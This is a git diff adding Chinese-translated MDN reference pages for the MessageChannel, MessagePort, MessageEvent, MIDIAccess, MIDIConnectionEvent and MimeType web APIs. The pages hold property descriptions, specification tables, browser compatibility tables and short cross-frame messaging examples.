groupId{{CompatChrome(59)}}{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOperaMobile(46)}}{{ CompatUnknown }}
Audio track properties{{CompatNo}}{{CompatNo}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatNo}}{{ CompatUnknown }}
Image track properties{{CompatChrome(63)}}{{CompatChrome(63)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOperaMobile(50)}}{{ CompatUnknown }}
Video track properties{{CompatChrome(59)}}{{CompatChrome(59)}}{{ CompatUnknown }}{{ CompatUnknown }}{{CompatOperaMobile(46)}}{{ CompatUnknown }}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/messagechannel/index.html b/files/zh-cn/web/api/messagechannel/index.html new file mode 100644 index 0000000000..47cb52146f --- /dev/null +++ b/files/zh-cn/web/api/messagechannel/index.html @@ -0,0 +1,87 @@ +--- +title: MessageChannel +slug: Web/API/MessageChannel +tags: + - API + - Channel Messaging API + - Interface + - MessageChannel + - Reference + - web messaging +translation_of: Web/API/MessageChannel +--- +

{{APIRef("HTML DOM")}}

+ +

Channel Messaging API的MessageChannel 接口允许我们创建一个新的消息通道,并通过它的两个{{domxref("MessagePort")}} 属性发送数据。

+ +

{{AvailableInWorkers}}

+ +

属性

+ +
+
{{domxref("MessageChannel.port1")}} {{readonlyInline}}
+
返回channel的port1。
+
{{domxref("MessageChannel.port2")}} {{readonlyInline}}
+
返回channel的port2。
+
+ +

构造函数

+ +
+
{{domxref("MessageChannel.MessageChannel", "MessageChannel()")}}
+
+

返回一个带有两个MessagePort属性的MessageChannel新对象。

+
+
+ +

示例

+ +

在以下代码块中,您可以看到使用MessageChannel构造函数实例化了一个channel对象。当iframe加载完毕,我们使用MessagePort.postMessage方法把一条消息和MessageChannel.port2传递给iframe。handleMessage处理程序将会从iframe中(使用MessagePort.onmessage监听事件)接收到信息,将数据其放入innerHTML中。

+ +
var channel = new MessageChannel();
+var para = document.querySelector('p');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  otherWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+}   
+ +

一个完整的运行示例,可以在Github上查看 channel messaging basic demo  (run it live too).

+ +

Specifications/规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#message-channels','MessageChannel')}}{{Spec2('HTML WHATWG')}}No difference from {{SpecName("HTML5 Web Messaging")}}.
+ +

浏览器兼容性

+ +
{{Compat("api.MessageChannel")}}
+ +
+ +

参见

+ + diff --git a/files/zh-cn/web/api/messagechannel/messagechannel/index.html b/files/zh-cn/web/api/messagechannel/messagechannel/index.html new file mode 100644 index 0000000000..36a4ff6043 --- /dev/null +++ b/files/zh-cn/web/api/messagechannel/messagechannel/index.html @@ -0,0 +1,79 @@ +--- +title: MessageChannel() +slug: Web/API/MessageChannel/MessageChannel +tags: + - API + - Channel messaging + - Constructor + - MessageChannel + - 参考 + - 构造函数 +translation_of: Web/API/MessageChannel/MessageChannel +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("MessageChannel")}} 接口的 MessageChannel() 构造函数返回一个新的 {{domxref("MessageChannel")}} 对象,返回的对象中包含两个 {{domxref("MessagePort")}} 对象。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
var channel = new MessageChannel();
+ +

返回值

+ +

一个新创建的 {{domxref("MessageChannel")}} 对象。

+ +

例子

+ +

在下面的代码块中,你会看到一个由 {{domxref("MessageChannel()", "MessageChannel.MessageChannel")}}  构造函数创建的新 Channel. 当 IFrame 被加载后,我们使用 {{domxref("MessagePort.postMessage")}} 把 port2 和一条消息一起发送给 IFrame. 然后 handleMessage 回调响应 IFrame 发回的消息(使用 {{domxref("MessagePort.onmessage")}}),并把它渲染到页面段落中。{{domxref("MessageChannel.port1")}} 用来监听,当消息到达时,会进行处理。

+ +
var channel = new MessageChannel();
+var para = document.querySelector('p');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  otherWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+}   
+ +

要查看完整可运行的例子,参考我们在 Github 上的 channel messaging basic demo (在线运行)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#dom-messagechannel', 'MessageChannel()')}}{{Spec2('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.MessageChannel.MessageChannel")}}

+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/messagechannel/port1/index.html b/files/zh-cn/web/api/messagechannel/port1/index.html new file mode 100644 index 0000000000..810f29d780 --- /dev/null +++ b/files/zh-cn/web/api/messagechannel/port1/index.html @@ -0,0 +1,148 @@ +--- +title: MessageChannel.port1 +slug: Web/API/MessageChannel/port1 +translation_of: Web/API/MessageChannel/port1 +--- +
{{APIRef("HTML DOM")}}
+ +

{{domxref("MessageChannel")}} 的只读属性 port1 返回消息通道的第一个端口, 此端口连接到源上下文通道。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
channel.port1;
+ +

Value

+ +

一个 {{domxref("MessagePort")}} 对象, 通道的第一个端口,此端口连接到源上下文通道。

+ +

示例

+ +

在以下代码块中,您可以看到使用 {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}}构造函数创建的新通道。当{{HTMLElement("iframe")}}加载完毕,我们使用{{domxref("MessagePort.postMessage")}}方法把一条消息和{{domxref("MessageChannel.port2")}}传递给{{HTMLElement("iframe")}}。handleMessage处理程序将会从<iframe>中(使用{{domxref("MessagePort.onmessage")}}监听事件)接收到信息,将数据其放入一个段落。handleMessage 方法关联到 port1用于监听收到的消息。

+ +
var channel = new MessageChannel();
+var para = document.querySelector('p');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  otherWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+}
+
+ +

一个完整的运行示例,可以在Github上查看 channel messaging basic demo  (run it live too).

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#dom-messagechannel-port1','port1')}}{{Spec2('HTML WHATWG')}}No difference from {{SpecName("HTML5 Web Messaging")}}.
{{SpecName('HTML5 Web Messaging', '#dom-messagechannel-port1','port1')}}{{Spec2('HTML5 Web Messaging')}}W3C version of the spec
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}10.010.65
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}10.011.55.1
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

参考

+ + diff --git a/files/zh-cn/web/api/messagechannel/port2/index.html b/files/zh-cn/web/api/messagechannel/port2/index.html new file mode 100644 index 0000000000..7f4a3b7079 --- /dev/null +++ b/files/zh-cn/web/api/messagechannel/port2/index.html @@ -0,0 +1,144 @@ +--- +title: MessageChannel.port2 +slug: Web/API/MessageChannel/port2 +translation_of: Web/API/MessageChannel/port2 +--- +

{{APIRef("HTML DOM")}}

+ +

{{domxref("MessageChannel")}}接口的 port2 是一个只读属性,返回消息通道的第二个端口,该端口连接到通道另一端的上下文,也就是发送消息时的目的地。

+ +

{{AvailableInWorkers}}

+ +

语法

+ +
channel.port2;
+ +

+ +

表示通道第二个端口的一个{{domxref("MessagePort")}}对象,该端口附加到通道另一端的上下文。

+ +

 

+ +

示例

+ +

如下代码所示,通过{{domxref("MessageChannel()", "MessageChannel.MessageChannel")}}构造函数创建了一个新的通道。当IFrame加载完毕,我们使用{{domxref("MessagePort.postMessage")}}将一条消息以及port2传递给IFrame。handleMessage处理程序响应从IFrame发回的消息(使用 {{domxref("MessagePort.onmessage")}}),将其放入段落中。{{domxref("MessageChannel.port1")}}已经监听,以检测消息何时到达。

+ +
var channel = new MessageChannel();
+var para = document.querySelector('p');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  otherWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+}   
+ +

有关完整的运行示例,请参阅我们在GitHub的 channel messaging basic demo  (run it live too).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', 'web-messaging.html#dom-messagechannel-port2', 'port2')}}{{Spec2('HTML WHATWG')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatGeckoDesktop(41)}}10.010.65
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}10.011.55.1
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/messageevent/index.html b/files/zh-cn/web/api/messageevent/index.html new file mode 100644 index 0000000000..6af707a816 --- /dev/null +++ b/files/zh-cn/web/api/messageevent/index.html @@ -0,0 +1,192 @@ +--- +title: MessageEvent +slug: Web/API/MessageEvent +tags: + - API + - MessageEvent + - WebRTC + - Websockets API + - 参考 + - 接口 +translation_of: Web/API/MessageEvent +--- +

{{APIRef("HTML DOM")}}

+ +

  MessageEvent  是接口代表一段被目标对象接收的消息。

+ +

用来代表下列情况的消息

+ + + +

通过这个事件触发的动作被定义为一个函数,该函数作为相关{{event("message")}}事件 (例如使用前文所列的onmessage 处理器)的事件处理器。

+ +

{{AvailableInWorkers}}

+ +

构造函数

+ +
+
{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}
+
创建一个新的 消息事件 
+
+ +

属性

+ +

继承其父类 {{domxref("Event")}} 的属性。

+ +
+
{{domxref("MessageEvent.data")}} {{ReadonlyInline}}
+
返回 {{domxref("DOMString")}}, {{domxref("Blob")}} 或者 {{domxref("ArrayBuffer")}},包含来自发送者的数据。
+
{{domxref("MessageEvent.origin")}}
+
 返回一个表示消息发送者来源的{{domxref("USVString")}} 
+
{{domxref("MessageEvent.lastEventId")}} {{readonlyInline}}
+
{{domxref("DOMString")}} representing a unique ID for the event.
+
{{domxref("MessageEvent.source")}}
+
MessageEventSource (可以是 {{domxref("WindowProxy")}}, {{domxref("MessagePort")}}, 或 {{domxref("ServiceWorker")}} 对象) 代表消息发送者.
+
{{domxref("MessageEvent.ports")}}
+
{{domxref("MessagePort")}}对象数组,表示消息正通过特定通道(数据通道)发送的相关端口(适用于通道消息传输或者向一个共享线程(shared work )发送消息时)。
+
+ +

方法

+ +

继承父类 {{domxref("Event")}} 的方法。

+ +
+
{{domxref("MessageEvent.initMessageEvent()")}} {{deprecated_inline}}
+
不要再使用: 使用 {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}。
+
+ +

 

+ +

示例

+ +

在我们的基础共享线程示例 Basic shared worker example (run shared worker)中,我们有两个HTML页, 每一页都用简单的js代码去执行简单的计算. 不同的脚本使用同一个worker文件去执行计算 — 它们都可以访问那个worker文件,即使它们(scripts)运行在不同的窗口.

+ +

下面的代码片段展示了使用{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}构造器创建一个 SharedWorker对象。

+ +
var myWorker = new SharedWorker('worker.js');
+ +

接下来两份脚本通过一个{{domxref("SharedWorker.port")}}方法创建的{{domxref("MessagePort")}}对象访问worker。如果onmessage事件通过addEventListener被绑定,端口可以用start()方法手动开启:

+ +
myWorker.port.start();
+ +

当端口被打开,两份脚本各自都可用 port.postMessage() 向worker传消息并用  port.onmessage处理它(worker)传来的消息:

+ +
first.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+second.onchange = function() {
+  myWorker.port.postMessage([first.value,second.value]);
+  console.log('Message posted to worker');
+}
+
+myWorker.port.onmessage = function(e) {
+  result1.textContent = e.data;
+  console.log('Message received from worker');
+}
+ +

在worker内部我们使用{{domxref("SharedWorkerGlobalScope.onconnect")}} 处理器来连接前文说到相同端口. 与worker相关联的端口可以在{{event("connect")}}事件的ports 属性中访问到 — 接着我们使用{{domxref("MessagePort")}} start() 方法打开端口,  onmessage 处理器来处理主线程传来的消息。

+ +
onconnect = function(e) {
+  var port = e.ports[0];
+
+  port.addEventListener('message', function(e) {
+    var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
+    port.postMessage(workerResult);
+  });
+
+  port.start(); // Required when using addEventListener. Otherwise called implicitly by onmessage setter.
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "#messageevent", "MessageEvent")}}{{Spec2('HTML WHATWG')}} 
+ + + +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性ChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}[1]9{{CompatUnknown}}{{CompatSafari('10.0+')}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}3.0+
+
+ +

[1] 对于 Gecko 11.0 {{geckoRelease("11.0")}}, Gecko 支持 ArrayBuffer 类型的数据,但不支持 {{domxref("Blob")}} 类型的数据。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/messageevent/messageevent/index.html b/files/zh-cn/web/api/messageevent/messageevent/index.html new file mode 100644 index 0000000000..54e163a42a --- /dev/null +++ b/files/zh-cn/web/api/messageevent/messageevent/index.html @@ -0,0 +1,135 @@ +--- +title: MessageEvent.MessageEvent() +slug: Web/API/MessageEvent/MessageEvent +translation_of: Web/API/MessageEvent/MessageEvent +--- +
{{APIRef("HTML DOM")}}{{draft}}
+ +

MessageEvent()构造函数创建一个新的 {{domxref("MessageEvent")}} 对象实例。

+ +

语法

+ +
var messageEvent = new MessageEvent(type, init);
+ +

参数

+ +
+
type
+
要创建的MessageEvent的类型。这可能是XXX中的一个
+
+

init {{optional_inline}}

+
+
+

可以包含以下属性的dictionary对象:

+ +
    +
  • data: 您希望包含在MessageEvent中的数据。这可以是任何数据类型,如果没有指定,则默认为null。
  • +
  • origin: {{domxref("USVString")}} 表示消息发送源。如果没有指定,则默认为空字符串("")。
  • +
  • lastEventId: {{domxref("DOMString")}} 表示事件的唯一ID。如果没有指定,则默认为空字符串("")。
  • +
  • source: MessageEventSource (可以是 {{domxref("WindowProxy")}}, {{domxref("MessagePort")}}, 或 {{domxref("ServiceWorker")}} 对象) 表示消息发送对象。如果没有设置,则默认为null。
  • +
  • ports:  {{domxref("MessagePort")}} 对象数组,表示正在通过的消息通道关联的端口(在适当的情况下,例如在通道消息传递或向共享工作者发送消息时)。如果没有指定,则默认为空数组([])。
  • +
+
+
+ +

示例

+ +
var myMessage = new MessageEvent('worker', {
+  data : 'hello'
+});
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName("HTML DOM", "#messageevent", "MessageEvent")}}{{Spec2("HTML DOM")}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1{{CompatVersionUnknown}}{{CompatGeckoDesktop("2.0")}}9{{CompatUnknown}}{{CompatSafari('10.0+')}}
origin as {{domxref("USVString")}} and source as MessageEventSource{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop("55.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}3.0+
origin as {{domxref("USVString")}} and source as MessageEventSource{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("55.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/messageport/index.html b/files/zh-cn/web/api/messageport/index.html new file mode 100644 index 0000000000..e16d395ebf --- /dev/null +++ b/files/zh-cn/web/api/messageport/index.html @@ -0,0 +1,120 @@ +--- +title: MessagePort +slug: Web/API/MessagePort +tags: + - API + - Channel messaging + - HTML5 + - Interface + - MessagePort + - Reference + - TopicStub +translation_of: Web/API/MessagePort +--- +

{{APIRef("HTML DOM")}}

+ +

Channel Messaging API 的 MessagePort 接口代表 {{domxref("MessageChannel")}} 的两个端口之一, 它可以让你从一个端口发送消息,并在消息到达的另一个端口监听它们。

+ +

{{AvailableInWorkers}}

+ +

方法

+ +

继承自父类 {{domxref("EventTarget")}} 的方法

+ +
+
{{domxref("MessagePort.postMessage")}}
+
从端口发送一条消息,并且可选是否将对象的所有权交给其他浏览器上下文。
+
{{domxref("MessagePort.start")}}
+
开始发送该端口中的消息队列 (只有使用 {{domxref("EventTarget.addEventListener")}} 的时候才需要调用;当使用 {{domxref("MessagePort.onmessage")}} 时,是默认开始的。)
+
{{domxref("MessagePort.close")}}
+
断开端口连接,它将不再是激活状态。
+
+ +

事件回调

+ +

继承自父类 {{domxref("EventTarget")}} 的事件回调

+ +
+
{{domxref("MessagePort.onmessage")}}
+
是一个 {{domxref("EventListener")}}, 当类型为 message 的 {{domxref("MessageEvent")}} 在该端口触发时,它将会被调用──也就是说,该端口收到了一条消息。
+
{{domxref("MessagePort.onmessageerror","onmessageerror")}}
+
是一个 {{domxref("EventListener")}}, 当类型为 {{domxref("MessageError")}} 的 {{domxref("MessageEvent")}} 被触发时,它将会被调用──这意味着,端口收到了一条无法被反序列化的消息。
+
+ +

事件

+ +
+
{{domxref("MessagePort.message_event","message")}}
+
当 MessagePort 对象收到消息时会触发。
+ 也可以通过 {{domxref("MessagePort.onmessage","onmessage")}} 属性使用。
+
{{domxref("MessagePort.messageerror_event","messageerror")}}
+
当 MessagePort 对象收到无法被反序列化的消息时触发。
+ 也可以通过 {{domxref("MessagePort.onmessageerror","onmessageerror")}} 属性使用。
+
+ +

例子

+ +

在下面的例子中,你可以看到一个使用 {{domxref("MessageChannel.MessageChannel","MessageChannel()")}} 构造函数创建出的新 channel. 

+ +

当 IFrame 加载完成后,我们给 {{domxref("MessageChannel.port1")}} 注册了一个 {{domxref("MessagePort.onmessage","onmessage")}} 回调,并且使用 {{domxref("window.postMessage")}} 方法把  {{domxref("MessageChannel.port2")}} 和一条消息一起传给 IFrame.

+ +

当从 IFrame 收到消息时,onMessage 方法会把消息输出到一个段落里。

+ +
var channel = new MessageChannel();
+var output = document.querySelector('.output');
+var iframe = document.querySelector('iframe');
+
+// 等待 iframe 加载
+iframe.addEventListener("load", onLoad);
+
+function onLoad() {
+  // 监听 port1 的事件
+  channel.port1.onmessage = onMessage;
+
+  // 把 port2 传给 iframe
+  iframe.contentWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+
+// 处理 port1 收到的消息
+function onMessage(e) {
+  output.innerHTML = e.data;
+}
+ +

要查看可运行的完整示例,参考我们在 Github 上的 channel messaging basic demo (也可以在线运行).

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#message-ports','MessagePort')}}{{Spec2('HTML WHATWG')}}No difference from {{SpecName("HTML5 Web Messaging")}}.
{{SpecName('HTML5 Web Messaging', '#message-ports','MessagePort')}}{{Spec2('HTML5 Web Messaging')}}W3C version of the spec
+ +

浏览器兼容性

+ + + +

{{Compat("api.MessagePort")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/messageport/onmessage/index.html b/files/zh-cn/web/api/messageport/onmessage/index.html new file mode 100644 index 0000000000..322ddde65a --- /dev/null +++ b/files/zh-cn/web/api/messageport/onmessage/index.html @@ -0,0 +1,143 @@ +--- +title: MessagePort.onmessage +slug: Web/API/MessagePort/onmessage +translation_of: Web/API/MessagePort/onmessage +--- +
{{APIRef("HTML DOM")}}
+ +

 {{domxref("MessagePort")}} 接口的 onmessage 事件处理程序是一个{{domxref("EventListener")}}, 当在端口上触发一个类型为 message 的{{domxref("MessageEvent")}} 时被调用 - 即,当端口接收到消息时。

+ +

{{AvailableInWorkers}}

+ +

Syntax

+ +
channel.onmessage = function() { ... };
+ +

Example

+ +

In the following code block, you can see a new channel being created using the {{domxref("MessageChannel()", "MessageChannel.MessageChannel")}} constructor. When the IFrame has loaded, we pass {{domxref("MessageChannel.port2")}} to the IFrame using {{domxref("MessagePort.postMessage")}} along with a message. The handleMessage handler then responds to a message being sent back from the IFrame using onmessage, putting it into a paragraph — {{domxref("MessageChannel.port1")}} is listened to, to check when the message arrives.

+ +
var channel = new MessageChannel();
+var para = document.querySelector('p');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  otherWindow.postMessage('Hello from the main page!', '*', [channel.port2]);
+}
+
+channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+}   
+ +

For a full working example, see our channel messaging basic demo on Github (run it live too).

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#handler-messageport-onmessage','onmessage')}}{{Spec2('HTML WHATWG')}}No difference from {{SpecName("HTML5 Web Messaging")}}.
{{SpecName('HTML5 Web Messaging', '#handler-messageport-onmessage','onmessage')}}{{Spec2('HTML5 Web Messaging')}}W3C version of the spec
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support4{{CompatVersionUnknown}}{{CompatNo}}10.010.65
Available in workers{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OS (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support4.44{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}10.011.55.1
Available in workers{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(41)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/midiaccess/index.html b/files/zh-cn/web/api/midiaccess/index.html new file mode 100644 index 0000000000..695470ce94 --- /dev/null +++ b/files/zh-cn/web/api/midiaccess/index.html @@ -0,0 +1,56 @@ +--- +title: MIDIAccess +slug: Web/API/MIDIAccess +tags: + - API + - Web MIDI API + - 引用 + - 接口 +translation_of: Web/API/MIDIAccess +--- +

{{SeeCompatTable}}{{APIRef("Web MIDI API")}} 

+ +

Web MIDI API 的 MIDIAccess 接口提供查询 MIDI 输入和输出设备的列表以及获取这些设备的使用权限。

+ +

属性

+ +
+
{{domxref("MIDIAccess.inputs")}} {{readonlyinline}}
+
返回 {{domxref("MIDIInputMap")}} 的实例,以提供对任何可用的 MIDI 输入端口的访问权限。
+
{{domxref("MIDIAccess.outputs")}} {{readonlyinline}}
+
返回 {{domxref("MIDIOutputMap")}} 的实例,以提供任何可用的 MIDI 输出端口的访问权限。
+
{{domxref("MIDIAccess.sysexEnabled")}} {{readonlyinline}}
+
一个布尔型的属性,指明系统是否对现有的 MIDIAccess 实例支持。
+
+ +

事件处理程序

+ +
+
{{domxref("MIDIAccess.onstatechange")}}
+
当添加新的 MIDI 端口或者一个存在的端口状态发生改变时被调用。
+
+ +

例子

+ + + +

标准

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebMIDI API','#midiaccess-interface')}}{{Spec2('WebMIDI API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{Compat("api.MIDIAccess")}}
diff --git a/files/zh-cn/web/api/midiconnectionevent/index.html b/files/zh-cn/web/api/midiconnectionevent/index.html new file mode 100644 index 0000000000..20341c86d9 --- /dev/null +++ b/files/zh-cn/web/api/midiconnectionevent/index.html @@ -0,0 +1,56 @@ +--- +title: MIDIConnectionEvent +slug: Web/API/MIDIConnectionEvent +tags: + - API + - Draft + - MIDI + - 接口 +translation_of: Web/API/MIDIConnectionEvent +--- +

{{APIRef("Web MIDI API")}}{{SeeCompatTable}}

+ +

The MIDIConnectionEvent interface of the Web MIDI API is the event passed to the {{domxref("MIDIAccess.onstatechange","onstatechange")}} event of the {{domxref("MIDIAccess")}} interface and the {{domxref("MIDIPorts.onstatechange","onstatechange")}} event of the {{domxref("MIDIPorts")}} interface. This occurs any time a new port becomes available, or when a previously available port becomes unavailable. 例如,这个事件无论是在一个 MIDI 设备插入或拔出设备时都会触发。

+ +

构造函数

+ +
+
{{domxref("MIDIConnectionEvent.MIDIConnectionEvent")}}
+
创建一个新的 MIDIConnectionEvent 对象。
+
+ +

属性

+ +
+
{{domxref("MIDIConnectionEvent.port")}}
+
返回一个 {{domxref("MIDIPort")}} 实例的引用,指明其端口是否已经连接。
+
+ +

举例

+ +

 

+ +

规范

+ + + + + + + + + + + + + + +
规范状态备注
{{SpecName('WebMIDI API','#midiconnectionevent-interface')}}{{Spec2('WebMIDI API')}}Initial definition.
+ +

浏览器兼容

+ +
+ + +

{{Compat("api.MIDIConnectionEvent")}}

+
diff --git a/files/zh-cn/web/api/mimetype/index.html b/files/zh-cn/web/api/mimetype/index.html new file mode 100644 index 0000000000..4d01694bb4 --- /dev/null +++ b/files/zh-cn/web/api/mimetype/index.html @@ -0,0 +1,92 @@ +--- +title: MimeType +slug: Web/API/MimeType +translation_of: Web/API/MimeType +--- +

{{SeeCompatTable}}{{APIRef("HTML DOM")}}

+ +

这 MimeType 接口提供了包含以下信息MIME 与特定插件关联的类型。. {{domxref("NavigatorPlugins.mimeTypes")}} 返回此对象的数组.

+ +

属性

+ +
+
{{domxref("MimeType.type")}}
+
返回关联的插件的 MIME 类型。
+
{{domxref("MimeType.description")}}
+
如果没有返回相关插件或空字符串的描述。
+
{{domxref("MimeType.suffixes")}}
+
包含插件,所显示的数据的有效文件扩展名的字符串或空字符串,如果扩展名为特定的模块无效。例如,浏览器内容解密模块可能出现在插件列表中,但支持更多文件 extenions 比可以预期。因此,它可能会返回一个空字符串。
+
{{domxref("MimeType.enabledPlugin")}}
+
返回{ { domxref实例(“插件”)} }包含插件本身的信息。
+
+ +

详述

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','#mimetype','MimeType')}}{{Spec2('HTML WHATWG')}}Initial definition.
+ +

浏览器的兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
基本支持{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
特征Android WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
基本支持{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
